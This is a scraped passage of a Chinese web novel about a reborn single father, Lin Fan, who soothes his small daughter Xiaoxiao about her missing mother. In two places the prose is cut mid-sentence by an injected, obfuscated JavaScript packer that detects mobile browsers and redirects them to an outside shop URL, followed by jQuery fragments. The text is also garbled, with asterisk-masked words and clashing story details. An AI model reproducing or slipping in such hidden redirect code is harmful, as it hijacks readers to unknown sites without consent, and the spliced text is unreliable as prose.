爸爸会给笑笑买娃娃,会给笑笑做蛋糕,会一直陪着笑笑……”他的声音有点抖,连他自己都没发现,拍着笑笑后背的手,也在轻轻颤着。
这个问题,像一把淬了冰的**,猝不及防地扎进林凡心口——
比上次扛着50斤重的建材爬六楼时,被生锈的铁皮蹭破手掌的疼还要钻心,那疼里还裹着水泥灰的凉,此刻心口的疼却带着闷烧的热,从喉咙一直堵到眼眶。
他垂眼看向女儿笑笑,那张小脸皱成一团,鼻尖通红得像沾了晨露的樱桃,攥着他牛仔裤衣角的小手指节泛白;
指甲缝里还嵌着下午在幼儿园玩沙子时沾的细土,指腹反复抠着裤腿上磨出的毛边,微微发抖的模样,瞬间勾起了两辈子都烙在骨血里的记忆碎片。
前世的那个梅雨季,天像破了个洞,雨丝密得能织成网,空气里飘着老墙霉斑的味道。
他为了赶一个能多挣两千块的项目方案,让五岁的笑笑独自在小区楼下等他回家。
孩子抱着刚画好的“爸爸和我”的蜡笔画,画里爸爸的头发是用棕色蜡笔涂的硬块,笑笑的裙子是歪歪扭扭的粉色,她追着一只瘸了右前腿的流浪猫跑出了监控范围——
那只猫总在垃圾桶旁找吃的,笑笑前几天还偷偷把火腿肠掰成小块喂它。
等他疯了似的踹开小区每一处灌木丛、跑遍三条街的派出所时,笑笑已经倒在被雨水泡软的草地上,浅绿色的外套沾满泥水,小手还紧紧攥着那幅画,粉色的裙角泡得发皱;
画里爸爸的脸被泥水晕成了模糊的棕团。那份从骨髓里渗出来的愧疚,成了他往后十年午夜梦回时的冷汗与嘶吼,每次惊醒,枕头都湿得能拧出水,耳边总响着笑笑喊“爸爸”的奶声。
所以今生重来,他毅然带着笑笑自己创业,哪怕从零开始做建材配送,每天扛着冰凉的水管、边缘硌人的瓷砖在各个小区间奔波,肩膀被货带勒出红印子;
晚上累得连脱鞋都要靠脚蹭,也坚持每天带着笑笑在身边,小心翼翼的守护着。
晚上给她讲《小熊的爸爸》睡前故事,哪怕嗓子哑得像吞了砂纸,也会模仿小熊爸爸的粗嗓门。
他所有的咬牙坚持,不过是想把前世欠女儿的“陪伴”,像补衣服上的破洞一样,一点一点用针脚缝回来。
可苏晚晴的离开,像在这好不容易拼凑的温暖里,又划开了一道深痕,冷风裹着冰碴子往里灌。
笑笑1岁那年冬天,屋子里的暖气管道坏了,窗户玻璃上结着薄霜,林凡把仅有的两床被子都裹在笑笑身上,可孩子还是烧到了39度,小脸烫得像烤红薯。
他抱着孩子往医院跑,羽绒服里揣着的几十块钱皱得像酸菜叶,是他昨天送完最后一趟瓷砖,老板临时结的工钱。
苏晚晴坐在冰冷的沙发上,指尖冻得发紫,看着病历单上“两百八十元”的缴费金额,眼泪砸在纸上,晕开一小片墨痕:
“林凡,我跟着你,没穿过一件好衣服,去年冬天那件棉袄还是地摊上淘的二手货;没吃过一顿安稳饭,顿顿不是泡面就是咸菜;连孩子生病都要凑钱,这样的日子我看不到头!”
她的声音里带着哭腔,还有压抑了很久的疲惫,像一根绷到极致的弦,终于断了。
第二天清晨,林凡醒来时,只看到桌上一张写着“我去南方打工,别找我”的字条,字迹潦草,末尾还沾了一点墨水,苏晚晴的行李箱不见了——
那是他们结婚时买的红色行李箱,边角已经磨掉了漆,他当时还说要攒钱给她换个新的,现在却连影子都没了。
那时候他才知道,成年人的离别,有时连一句正式的告别都没有,就像秋天的叶子,风一吹,就悄无声息地落了。
此刻,笑笑仰着泫然欲泣的小脸,眼神里的委屈像蓄满了水的小池塘,睫毛上挂着的泪珠像刚结的露珠,轻轻眨一下就会掉下来,让林凡的心脏揪得发紧,几乎喘不过气。
他想起上周带笑笑去公园玩,公园门口的梧桐叶落了一地,有个妈妈正蹲下来给孩子整理粉色的围巾,围巾上挂着小铃铛,一动就叮当作响,妈妈手上的银镯子也跟着晃;
孩子把脸埋进妈妈怀里,手里还拿着一块没吃完的草莓蛋糕。笑笑盯着那一幕看了好久,小手悄悄拉了拉他的衣角,声音小得像蚊子叫:“爸爸,为什么别的小朋友都有妈妈抱呀?”
当时他只能含糊地说“妈妈在忙”,却没料到孩子把疑问攒在心里,像攒糖纸一样,直到今天才小心翼翼地拿出来。
他该怎么回答?
告诉笑笑,妈妈是因为受不了穷、看不到希望才走的?
那孩子会不会低头看自己洗得发白的小鞋子,觉得“是我不够好,妈妈才不要我”?
还是像小区里另一个单亲爸爸那样,编“妈妈去国外当宇航员”的谎话?
他的手不自觉地发抖,指节因为用力而泛白,喉咙发紧得像塞了一团棉花,突然想起之前特意在旧书摊上买的《3-6岁儿童心理疏导》;
书页已经被他翻得卷了边,里面有一行用铅笔划出来的字:
“孩子面对分离焦虑时,需要的是安全感而非真相,过度坦诚的残酷会摧毁他们对世界的信任。”那行字的旁边,他还写了个小小的“笑”字,是提醒自己要为了笑笑忍住真相的锋利。
短暂的慌乱后,林凡强迫自己冷静下来。
他深吸一口气,鼻腔里钻进自己身上的建材味——
有水泥的灰味,还有瓷砖的冷味,他用还带着这些味道的手轻轻抚平笑笑皱起的衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607518|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角,指尖蹭过孩子衣服上绣的小兔子,生怕把那绒毛蹭掉。
然后小心翼翼地把她抱起来——笑笑现在3岁半,体重28斤,他每天扛货练出的臂力,能轻松扛起百斤的瓷砖,可抱着女儿时,却总怕力气太大弄疼她,手臂微微收着;
像托着易碎的玻璃,他走到窗边的藤椅上坐下,藤椅的扶手被磨得发亮,是前房东留下的老物件,坐上去会发出轻微的“吱呀”声。
他让笑笑跨坐在自己腿上,用外套把她小小的身体裹紧,外套上还留着外面的寒气,却被女儿的体温慢慢焐热,他能清晰地感受到女儿因为委屈而微微发抖的肩膀,像寒风里瑟缩的小树苗。
“笑笑,”林凡的声音有些沙哑,像是被砂纸磨过,每说一个字都带着涩意,他刻意放慢语速,让语气尽量平稳,“妈妈……妈妈去了一个很远很远的地方工作。”
他选了个模糊却不算说谎的说法——
苏晚晴确实去了南方的电子厂,上次托老乡打听时,老乡说在东莞的一家手机配件厂里见过一个跟苏晚晴很像的女人;
扎着低马尾,手上戴着一个银色的戒指,只是没敢上前确认,怕认错了让人笑话。
“很远……是多远呀?”
笑笑的抽噎声像小锤子似的,一下下敲在林凡心上,她小脑袋靠在他胸口,温热的呼吸透过薄衬衫传过来;
带着刚哭过的鼻音,还有一点下午吃的橘子味,“比爸爸带我去市里动物园,还要远吗?”
林凡的心软了一下,像被温水泡过的棉花。
上次带笑笑去动物园,公交车是绿色的旧车,座位上的皮革裂了小缝,孩子趴在车窗上看了一路的麻雀,小手指着窗外飞过的鸟,嘴里不停喊“爸爸你看”;
回来后还画了幅“公交车和大象”的画,大象的鼻子画得像滑梯,公交车的轮子是歪的,贴在冰箱门上,旁边还贴了一张她自己剪的小红花。
他轻轻拍着笑笑的背,手掌蹭过孩子柔软的毛衣,声音放得更柔:“比那个远多啦。妈妈去的地方,要坐一天一夜的绿皮火车,火车里有泡面的香味,还有人打呼噜的声音;
还要转两次长途汽车——就像咱们去年去乡下外婆家那样,你记得外婆家要坐3小时火车对不对?妈妈去的地方,还要再远三倍呢,火车要走好久好久,才能到。”
笑笑眨了眨挂着泪珠的眼睛,泪珠像小珍珠一样滚下来,落在林凡的衬衫上,晕开一小片湿痕。
她小手指在林凡的胸口画着圈,指甲轻轻蹭着他衬衫上的纹路,好像在计算那到底是多少个“公交车路程”,过了好一会儿才小声问:“那……妈妈会回来吗?”
这个问题像一根细针,猝不及防地扎进林凡的心脏,比上次被建材划伤手掌还要疼,疼得他呼吸都慢了半拍。
他的记事本里还夹着苏晚晴的号码,号码旁用铅笔写的备注还是“晚晴”,纸边都被反复摩挲得发毛。
每个月路过巷口的公用电话亭,他都忍不住停脚,手攥着硬币在兜里攥出冷汗——
“你还好吗?”“笑笑想你了”“钱够不够用”,这些话在心里滚了又滚,终究没敢拨通那串数字。
从苏晚晴走后,那个号码他拨过三次,前两次是忙音,第三次接通后只剩“您拨打的号码已停用”的机械提示。
他甚至托过三个南下打工的老乡帮忙找,可南方的工厂那么多,像大海里的沙子一样,毫无音讯。
**苏晚晴现在过得怎么样,是不是还穿着那件二手棉袄,有没有吃到热乎饭,更不知道她是否还记得有个女儿,每天晚上都会问“妈妈什么时候回来”。
但他不能掐灭女儿眼里的光。
林凡捧着笑笑的小脸,指腹蹭过孩子柔软的脸颊,看着她那双跟苏晚晴一模一样的、盛满希冀的眼睛——
眼尾微微上翘,像小月牙,他用无比肯定的语气说:
“会的。妈妈只是去做很重要的工作,
等她把事情做完了,赚够了钱,一定会回来看笑笑的。
因为妈妈和爸爸一样,最喜欢笑笑了,比喜欢草莓棉花糖还喜欢。”
这是个善意的谎言,却是他在无力的现实面前,能给女儿的唯一支撑——
第五十三章 寻找的欲望
“真的吗?”
笑笑的声音还是带着浓浓的鼻音,但眼神里多了点光亮,像乌云里透出的阳光。
她伸出小手,轻轻摸了摸林凡下巴上刚冒出来的胡茬,指尖被扎了一下,缩了缩又伸过来,好像这样就能从爸爸身上找到勇气,“爸爸不骗人?”
“真的,爸爸保证。”
林凡用力点头,下巴上的胡茬蹭到笑笑的小手,孩子咯咯地笑了一声,又很快收住。
他用指腹轻轻擦去笑笑脸颊上的泪珠,那泪珠带着孩子的体温,落在他手背上,烫得他心口发疼,像揣了个小火炉。
“在妈妈回来之前,爸爸会加倍加倍地爱笑笑,每天都陪在笑笑身边。你看,王猛叔叔上周还特意请假,带你去游乐园坐旋转木马,旋转木马的灯亮起来的时候,你还说像星星对不对?
他还买了你最爱的草莓棉花糖,你吃了一脸的糖霜,王猛叔叔还帮你擦了脸;还有楼下的张奶奶,每天早上都给你煮溏心蛋,蛋黄流出来的时候;
你总说像小太阳,张奶奶还说笑笑长身体要多吃营养的东西,上次你感冒,张奶奶还熬了姜茶给你喝,你嫌辣,张奶奶还加了冰糖,对不对?”
笑笑听到“旋转木马”和“溏心蛋”,小嘴巴抿了抿,嘴角微微翘起来,似懂非懂地点了点头,然后把小脸重新埋进林凡的怀里,小胳膊紧紧抱着他的脖子,声音闷闷的:
“笑笑……还是想妈妈……想妈妈抱我睡觉……妈妈抱我的时候,会拍我的背,还会唱儿歌……”
林凡的眼眶瞬间湿热了,眼泪差点掉下来,他赶紧把头抬起来,看着天花板上的旧灯泡,灯泡上蒙着一层灰,昏黄的光落在他脸上。
他收紧手臂,把女儿紧紧抱在怀里,下巴轻轻抵着她柔软的头顶,能闻到她头发上淡淡的洗发水香味——
那是他特意在超市买的儿童专用款,包装上印着小雏菊,笑笑说“像小雏菊的味道”,每次洗完头,都要让他闻闻“香不香”。
他轻轻拍着笑笑的背,像哄她睡觉时那样,小声哼起苏晚晴以前常唱的儿歌:
“月儿明,风儿静,树叶儿遮窗棂啊……”
他的调子有点跑,却还是坚持哼着,手指轻轻理顺笑笑有点炸毛的头发。
“好……”
笑笑的声音越来越低,带着浓浓的鼻音,渐渐没了动静,呼吸也变得均匀起来。
林凡低头一看,孩子已经睡着了,长长的睫毛上还挂着一颗没掉的泪珠,小嘴角却微微翘着,像是在做一个有妈妈的梦,梦里妈妈正抱着她,唱着儿歌。
窗外的路灯透过窗帘缝隙,在地上投下淡淡的光斑,像撒了一把碎月亮。
林凡抱着笑笑,坐在藤椅上轻轻晃动,不敢起身,怕吵醒怀里的孩子,藤椅“吱呀”的声音,像在陪他一起守着这个安静的夜晚。
他看着女儿熟睡的小脸,心里暗下决心:下个月建材市场进入旺季,他多接几单配送,争取攒够钱;
等年底,就换个带阳台的房子,让笑笑能在阳台上种她喜欢的小雏菊,她上次在花店看到小雏菊,眼睛都亮了,还问“能不能种在咱们家”。
至于那个关于“妈妈回来”的谎言,
**要圆多久,但他会努力让这个谎言变得“可信”——
就像他努力把日子过好一样,每天多扛一趟货,多攒一块钱,
总有一天,他能让笑笑在爱里长大,能坦然地告诉她所有真相,而那时的笑笑,
一定已经足够坚强,
能理解成年人世界的无奈与遗憾,就像理解秋天的叶子会落,春天的花会开一样。
林凡坐在店铺角落的旧藤椅上,藤条被岁月磨得泛出浅棕的柔光,缝隙里卡着半片上周修货架时掉落的木屑——
浅黄的木茬还带着点松木的淡香,是他前几天用砂纸磨货架边缘时蹭下来的。
他怀里抱着熟睡的女儿笑笑,背脊挺得笔直,却又透着难以掩饰的僵硬:右肩微微下沉,左手下意识托着笑笑的腰,指节因为长时间发力泛出青白——
那是昨夜抱着发烧刚退的笑笑坐了半宿落下的酸痛,更怕稍一动,就会惊醒怀里这颗呼吸都轻得像羽毛的小小心灵。
笑笑才三岁半,小脸蛋圆嘟嘟的,睫毛像两把沾了晨露的小蝶翼,每呼吸一次就轻轻颤一下,眼角的泪痕没完全干透,在斜照的阳光里泛着细碎的光,像撒了点碎玻璃渣——
那是今早醒来没看见妈妈,坐在床边抱着布娃娃哭花的,眼泪还沾了几根娃娃的白绒毛在脸颊上。
她的小手还没完全长开,指节圆圆的,紧紧攥着林凡的卡其布衣角,指缝里夹着半张皱巴巴的素描纸,是没画完的全家福:
纸上的自己扎着羊角辫,手里攥的糖葫芦用红蜡笔涂得冒尖,连糖霜的纹路都画得歪歪扭扭;爸爸穿蓝色工装,胸前别着笑笑画的小红花,花瓣边缘被小手指捻得起了**;
唯独妈妈的位置,只画了个空心的圆圈,圆圈旁边用铅笔歪歪扭扭写着“MAMA”,两个字母被橡皮擦过好几次,纸都薄得快透了——这还是她前几天跟着巷口的小学生抽空学的。
窗外的阳光透过蒙着点灰尘的玻璃,斜斜切进店里,在货架上投出长条的光斑。货架上摆着老式台秤,铁秤砣泛着冷光;
螺丝刀的金属柄反光晃了林凡一下,他下意识眯了眯眼,再看时,连最上层那把生了锈的旧门锁都泛着暖光——
锁芯里的铁锈红得发暗,是去年从废品站收来的旧货,笑笑总爱用小手指抠锁孔玩。货架最外侧摆着几卷透明绝缘胶带,胶带纸边缘被笑笑撕得****躁躁,翘起来的碎边粘了点灰;
那是她昨天蹲在旁边“帮忙”时的杰作:当时她踮着脚够胶带,差点摔在地上,林凡扶住她时,她还举着撕下来的小胶带片说“爸爸,贴贴”。
可这明媚的光像隔了一层雾,风从敞开的店门吹进来,带着巷口早点摊的油条香,却怎么也透不进林凡发沉的心里。
昨天傍晚带笑笑在巷口玩,老陈头推着自行车来卖糖葫芦,车后座绑着块木板,上面插着密密麻麻的草靶子,草莓的、山楂的糖葫芦裹着晶莹的糖霜,用玻璃纸包着,风一吹,甜香裹着热气飘过来。
笑笑盯着看了半天,突然看见邻居家的朵朵被妈妈抱在怀里,咬下一颗草莓糖葫芦时,糖霜还沾在嘴角。
她猛地仰起头拽林凡的衣角,小手套蹭得林凡的工装裤沙沙响:“
爸爸,妈妈是不是也喜欢吃草莓味的糖葫芦呀?上次你买的,我留了一颗放冰箱最里面,现在还没化呢!她什么时候回来,我们一起吃好不好?”
那一刻,林凡的喉咙像被一团热棉花堵住,酸意从胸腔往眼眶里涌,连鼻尖都麻了。
他蹲下来把女儿搂进怀里,手指轻轻摩挲她冻得发红的小耳朵——耳尖凉得像冰块,边缘还有点起皮,是早上忘给她戴耳罩了。
他张了张嘴,想说话却发不出完整的声音,只能把脸埋在笑笑的围巾里,闻着围巾上淡淡的肥皂香味(是巷口供销社买的“蜂花”皂),缓了好一会儿才哑着嗓子说:
“会的,妈妈会回来的。”
他想起前阵子从社区图书室借的《幼儿教育手册》,书皮是蓝绿色的,被翻得有点卷边,里面夹着他用铅笔划的线:
3岁多的孩子正是粘人的时候,得多陪他们说话、玩游戏,要是少了亲人陪伴,容易闹情绪。当时他还在旁边写了句“每天陪笑笑画半小时画”,
可如今每一个字都像针,扎在他发紧的心上——尤其是看到笑笑攥着的全家福,那个空心圆圈像个洞,漏着风。
苏晚晴离开快三年了,没留下一句解释,只带走了衣柜里的几件衣服和常用的米色帆布包;
包上还有笑笑用马克笔画的小爱心,当时她还说“妈妈的包要漂漂亮亮的”。
她的桃木梳子还放在卫生间的台面上,梳背有几道细小的划痕,是以前笑笑抓着玩时摔的,齿缝里缠着几根染过的栗色长发;
比笑笑的头发粗一点,林凡每天打扫时都会用指尖轻轻拨掉梳子上的灰尘,却舍不得碰那几根头发,怕一碰就掉了;
笑笑小时候穿的粉色连衣裙还挂在衣柜最上层,布料有点泛黄,领口的蕾丝花边是苏晚晴怀孕时挺着肚子缝的,针脚歪歪扭扭,有几处还打了小结——
当时她缝到一半就累得喘气,说“等笑笑穿了,妈妈再补好看点”,可到现在也没补;
就连厨房的调料架上,薄荷绿的盐罐还是苏晚晴喜欢的款式,罐身贴着笑笑画的小太阳贴纸,边角翘了起来;
里面的盐还剩半罐,每次林凡放盐时,都会想起苏晚晴以前总说“少放盐,笑笑吃多了不好”。
这些痕迹像藤蔓,缠着林凡的每一个日夜:
清晨煮面时会习惯性拿两个碗,拿到第二个时才愣一下,又默默放回去;睡前会拿出苏晚晴留下的旧信纸,想写两句笑笑的近况——
比如“今天笑笑会数到10了”“她把布娃娃的裙子补了个小补丁”,可笔尖悬了半天,又不知道寄往何方,最后只能折好塞进抽屉深处;
甚至整理笑笑的玩具时,看到那个苏晚晴从供销社买来的布娃娃,都会蹲在地上看半天——娃娃的裙子破了个洞,是笑笑上次玩时勾的,他还没来得及补。
这些都成了他心里拔不掉的刺,更成了笑笑成长路上,他无论怎么努力都绕不开的坎。
王猛从仓库里出来时,裤脚沾了不少铁锈灰,一拍就掉粉,膝盖处还蹭破了一块——
破口处露出里面灰色的秋裤,边缘有点线头,是早上搬重型扳手时没注意,膝盖磕在货架的角钢上弄的。
他穿的蓝色劳动布工装洗得发白,手里拿着半截没吃完的白面馒头,馒头上还沾着点黄灿灿的咸菜渣,是萝卜干的,是他媳妇早上五点起来蒸的馒头,用纱布包着带来的,还热乎着:
“你中午也别饿着,等会儿我去巷口买两碗馄饨。”
王猛是林凡的原工厂工友,国营机械厂,每天在流水线旁站十个小时,耳朵被机器噪音吵得有点背,工资刚够养活一家三口。
去年林凡开这家笑笑宝贝屋,凑完房租就没剩多少钱雇人,当时就找王猛,王猛二话不说,当天就放下蹲三轮车的活来帮忙,其实林凡知道,他是怕自己撑不下去。
平时里里外外的重活王猛都抢着干,搬水管、扛货架,累得满头汗也不说,还总记得帮笑笑带巷口小卖部的棉花糖——
五分钱一团,他每次都让老板多绕两圈,拿到手时还冒着点热气,笑笑吃得满脸糖霜,王猛就笑着用粗粝的手掌给她擦,说“慢点吃,没人跟你抢”。
看到林凡僵坐在那里的模样,王猛脚步顿了顿,悄悄转身回了里屋。
他记得去年林凡胃出血,就是因为空腹忙了一天,后来他就总在店里备着温白开水,用的是个印着“为人民服务”的搪瓷杯,杯口有个小缺口,是以前搬货时砸的。
倒好水后,他又从抽屉里拿了包苏打饼干放在水杯旁——是香葱味的,供销社买的,林凡胃不好,饿的时候吃点能垫垫,这包还是他昨天特意绕路买的。
水杯放在林凡旁边的小桌上时,王猛只轻轻叹了口气,没说“别难过”,也没问“接下来怎么办”,就像往常无数次那样:
林凡熬夜看店时,他会默默煮一碗泡面,加个鸡蛋;笑笑生病时,他会帮忙看店到深夜,还不忘给林凡留着热粥——他总用最笨的方式,把空间留给这对父女,却把支撑落在实处。
林凡的指尖碰了碰水杯,温意顺着指尖蔓延到手腕,像小暖流,却没驱散心里的沉重。
他太清楚了,苏晚晴的离开不是一场短暂的分别,而是一道会留下印记的伤疤。
或许某天笑笑翻到旧相册里苏晚晴抱着她的照片——照片里苏晚晴穿着白色连衣裙,笑得眼睛弯成缝;
或许春节时看到邻居家一家三口贴春联,妈妈给孩子递胶带,爸爸扶着梯子;这道伤疤就会隐隐作痛,像被冷风刮到。
他想起上周笑笑半夜哭着醒来,小胳膊紧紧搂着他的脖子,指甲轻轻抠着他的衣领,嘴里含混地喊着“妈妈抱,妈妈的手暖暖的”。
他把女儿搂在怀里,用自己的手裹住笑笑冰凉的小手——他的手因为常年拧螺丝磨出了老茧,糙得很;
却还是尽力把她的手焐热,哼着苏晚晴以前常唱的《小星星》,调子有点跑,却一遍又一遍地唱,直到天快亮时,笑笑的呼吸才变得平稳,小眉头也舒展开了。
他低头看着女儿额头上的薄汗,悄悄用袖口擦去——袖口有点脏,是白天搬货蹭的灰,他怕弄疼笑笑,动作轻得像碰棉花。
他能做的,就是把自己活成一座山:白天忙着搬货、接订单,手臂酸了就揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607519|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两下,继续干;晚上陪笑笑画画、数星星,哪怕累得眼睛都快睁不开,也会把故事讲完(讲的是他小时候听来的“孙悟空打妖怪”)。
他想用尽全力为笑笑筑起一个坚固又温暖的港湾,让她即使没有母亲的陪伴,也能踩着父爱的基石,勇敢地面对往后的风雨。
就在这时,一个模糊的念头突然从心底冒出来,像春天里的小草,蹭蹭地往上长:要不要再试着找找苏晚晴?
上次他托苏晚晴的闺蜜李姐打听消息,李姐在信里犹豫了半天,只说她去了南方,好像在一家服装厂上班,具体在哪、做什么,一概不知。
他还翻出了苏晚晴以前的通讯录,纸都发黄了,照着上面的地址寄了三封信,要么被退回来写着“查无此人”,要么石沉大海,连个回音都没有。
他不是想破镜重圆,毕竟当初她走得那么决绝,连笑笑的生日都没留下一句祝福——
去年笑笑生日,他从供销社买了个小蛋糕,上面插着三根蜡烛,笑笑吹蜡烛时还说“要等妈妈一起吹”,等了半天也没等来人,最后抱着蛋糕哭着睡着了。
可他看着笑笑怀里攥着的全家福,看着那个空荡荡的圆圈,又忍不住想:至少该让女儿知道,妈妈没有消失,她还在这个世界的某个角落,呼吸着同样的空气,或许也会偶尔想起她。
这样,笑笑每次画全家福时,会不会就不用在妈妈的位置画圆圈,心里的空缺会不会能少一点遗憾?
可这个念头刚冒头,就被林凡狠狠压了下去。
他低头看了看店铺柜台后的订单本,蓝色的封面边角磨破了,里面密密麻麻记着十几家客户的需求:
这时,巷口的李婶隔着门喊:“林凡,张大夫让我再跟你说声,笑笑下周一去社区卫生院体检,别忘了带体检本啊!”
林凡赶紧应了声“知道了,谢谢李婶”,又从抽屉里翻出体检本——封面是红色的,上面写着笑笑的名字,还是苏晚晴以前填的。
他摸了摸封皮,想起上次答应带笑笑去公园放风筝,结果忙着给张叔修水管没去,笑笑委屈得躲在角落哭了好久,他当时心里像被揪着疼,发誓再也不辜负女儿的期待。
寻找苏晚晴太渺茫了,万一找不着,自己跑南跑北浪费时间,谁来照顾笑笑?
万一找着了,她不愿意见女儿,甚至说不认识笑笑,又该怎么跟女儿解释?
难道要告诉笑笑“妈妈不想见你”吗?未知的风险像一张网,密密麻麻裹住他的心脏,让他不敢再往前踏一步。
“爸爸……”笑笑在梦里轻轻呢喃了一声,小脑袋往林凡怀里又蹭了蹭,像只找温暖的小猫。她的小手松开衣角,转而抓住了林凡的手指——
她的指甲刚被林凡昨晚剪过,圆润光滑,不会刮到自己,指尖还带着点奶香味;林凡的手指上有几道细小的伤口,是昨天拧螺丝时被划的,贴了块胶布,他怕胶布蹭到笑笑,悄悄把受伤的手指往掌心收了收。
林凡赶紧低下头,在女儿带着泪痕的小脸上亲了亲,声音轻得像羽毛:
“笑笑,别怕。爸爸在呢,爸爸永远都在。”
他的下巴抵着女儿柔软的头发,鼻腔里满是淡淡的奶香味——
那是笑笑睡前喝的奶粉味,是从供销社买的“红星”奶粉,还混着点洗发水的清香(也是蜂花牌的),是他昨天给她洗头发时用的。
这味道是他所有的软肋——只要笑笑皱一下眉,他就愿意放下所有事;更是他所有的铠甲——再累再难,只要看到笑笑的笑脸,就觉得能撑下去。
前几天笑笑发烧到39度,小脸烧得通红,嘴唇干得起皮,嘴里一直喊着“冷”。林凡抱着她往社区卫生院跑,凌晨的风刮在脸上像刀子,裹着冷空气往脖子里灌。
他把自己的厚棉袄裹在笑笑身上,拉链拉到顶,只穿一件薄毛衣——毛衣是灰色的,有点起球,风灌进领口,他打了个寒颤,却还是把笑笑抱得更紧,怕她再着凉。
到了卫生院,排队挂号、抽血、取药,他忙前忙后一夜没合眼。天亮时,他看着输液瓶里的药水一滴一滴往下掉,眼睛里全是血丝,连鬓角都冒出了几根白发——
他以前从不愁白头发,可自从苏晚晴走后,白头发就越来越多。
王猛早上来开店,看到店里没人,赶紧往卫生院跑,进门就看到林凡红着眼圈守在床边,手里还攥着没喝完的热水。
他二话不说,把带来的早餐塞给林凡——豆浆装在保温桶里,还热着;包子是肉馅的,冒着热气。
“你在这看着笑笑,店里有我呢”,他硬把林凡按在椅子上,自己替他看店、帮客户选服装。
那天王猛忙到下午三点才顾上吃午饭,衣服都被汗水浸透了,贴在背上,却还笑着跑回卫生院说“放心,订的服务装都拿走了,笑笑好点没”。
那一刻林凡就明白,父爱或许没有母爱那样细腻温柔,不会记得给孩子梳漂亮的辫子,不会煮出可口的辅食,却像脚下的土地,沉默却坚实——
他或许不擅长表达,却会用尽全力把最好的都给孩子。他要做笑笑最可靠的那座山,无论刮多大的风、下多大的雨,都稳稳地站在她身后,让她回头时总能看到自己。
至于“妈妈”的答案,林凡想,或许真的该交给时间。
也许等笑笑再长大一点,能听懂“妈妈有自己的难处”这样的道理;也许某天他去南方送货,会在某个街角偶然看到那个熟悉的身影——
她或许还背着那个米色帆布包,头发还是栗色的;也许王猛说的对,“该来的总会来,眼下把娃照顾好才最实在”。
他低头摸了摸笑笑手里的全家福,轻轻把那张纸抚平——纸上的褶皱太多,他按了好一会儿才平一点,然后小心翼翼地叠好,放进自己的口袋里。
口袋里还有笑笑早上塞的一颗水果糖,糖纸是粉色的,有点粘,和全家福放在一起,像藏着个小小的秘密。
等晚上回家,他要陪笑笑把妈妈的位置画完,哪怕先画一朵小花,也好过空荡荡的圆圈。
眼下,阳光还在货架上淌着,墙上1993年的挂历被风吹得轻轻晃;
王猛在门口整理货物,哼着《在希望的田野上》;
笑笑在怀里睡得安稳,小胸脯一起一伏。
他只要守好这家飘着奶香味的笑笑宝贝屋,守好怀里这个带着奶香味的女儿,就够了。